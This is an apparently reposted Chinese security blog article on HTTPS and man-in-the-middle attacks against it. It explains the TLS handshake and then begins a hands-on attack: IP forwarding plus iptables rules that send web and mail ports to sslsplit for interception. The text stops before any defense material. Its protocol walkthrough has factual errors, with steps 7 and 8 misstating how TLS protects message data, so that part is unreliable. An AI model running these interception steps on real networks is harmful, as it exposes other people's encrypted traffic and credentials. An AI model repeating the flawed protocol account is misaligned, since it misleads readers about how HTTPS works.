HTTPS攻击原理与防御

Posted 2021-04-30 信安之路

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了HTTPS攻击原理与防御相关的知识，希望对你有一定的参考价值。

本文作者 TimeS0ng , 鉴于其之前文章的数量以及质量都不错，结合之前的表现奖励 100 元，钱虽不多，聊表心意。

0x00. HTTPS 简介

超文本传输安全协议（ HTTPS ）是一种通过计算机网络进行安全通信的传输协议。HTTPS 经由 HTTP 进行通信，但利用 SSL/TLS 来加密数据包。 HTTPS 开发的主要目的，是提供对网站服务器的身份认证，保护交换数据的隐私与完整性。

0x01. HTTPS 原理

1.首先是建立 TCP 的三次握手连接，连接建立之后由客户端向浏览器发起 https 连接请求。

2.连接请求成功之后，client 会发送自己所有支持的 ciphersuit （包括：对称加密算法、非对称加密算法、单向加密算法、伪随机数算法）给目标 server 进行加密算法的协商，server 会选择他们俩都支持的最安全的 ciphersuit 进行加密通信。

3.然后 server 会发送自己的证书到 client（证书用于验证 server 的身份，同时也包含了 server 的各种注册信息）。

4.client 在接收到 server 的证书之后，会验证该证书是否是由本地根证书中所信任的颁发机构颁发的证书。证书里面会有证书颁发机构的私钥签名，只有正确的私钥才能被 client 保存的公钥解密，这就保证了证书的安全性；证书中还会存在 server 的公钥，只有拥有私钥的 server 才能解密公钥加密的内容，这就保证了后续过程的安全性。

5.验证了证书的合法性之后，client 会使用刚才协商的伪随机数算法生成对称密钥，然后将对称密钥通过 server 的公钥进行加密之后，再发送给 server 。

6.server 接收到公钥加密的内容之后，会用自己的私钥进行解密，从而获取对称密钥，此时通信双方都得到了对称密钥就可以进行加密通信了。

7.通信时 client 会先将数据用对称密钥加密，然后又进行 hash 计算，然后用 server 的公钥将得到的 hash 值进行加密，将该 hash 值和加密之后的密文发送给 server 端，发送数据过程类似hash( private_encrypt ( data ) ) + public_encrypt ( hash ) --> server。

8.server 接收到 client 传来的数据包之后，会先用自己的私钥解密密文得到 hash1 ，然后用 hash1 与没有加密的 hash 进行比较，相同则代表传输的数据没有被篡改，然后再用之前协商的单向加密算法解密 hash ，用对称密钥解密密文得到 data server 发送数据过程类似：hash ( private_encrypt ( data ) ) + private_encrypt ( hash ) --> client。

0x02. 攻击原理

1.首先 attacker 会对目标进行中间人攻击，从而让流量流经自己的电脑（这与 burpsuit 的原理根本就是一样的）。

2.此时 client 便会与 attacker 进行 https 加密通信，server 也会与 attacker 进行 https 加密通信。

3.虽然此时进行的是 https 通信，但是所有的 data 对于 attacker 来说都是明文的。

0x03. 攻击实战

环境准备：

kali工具：sslsplit、arpspoof

操作系统: win 7

实战步骤：

1.打开kali的数据包转发功能

echo 1 >> /proc/sys/net/ipv4/ip_forward

2.设置端口转发（将原本发过来的80、443等端口全部转发到sslsplit的代理端口）

iptables -t nat -F

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

iptables -t nat -L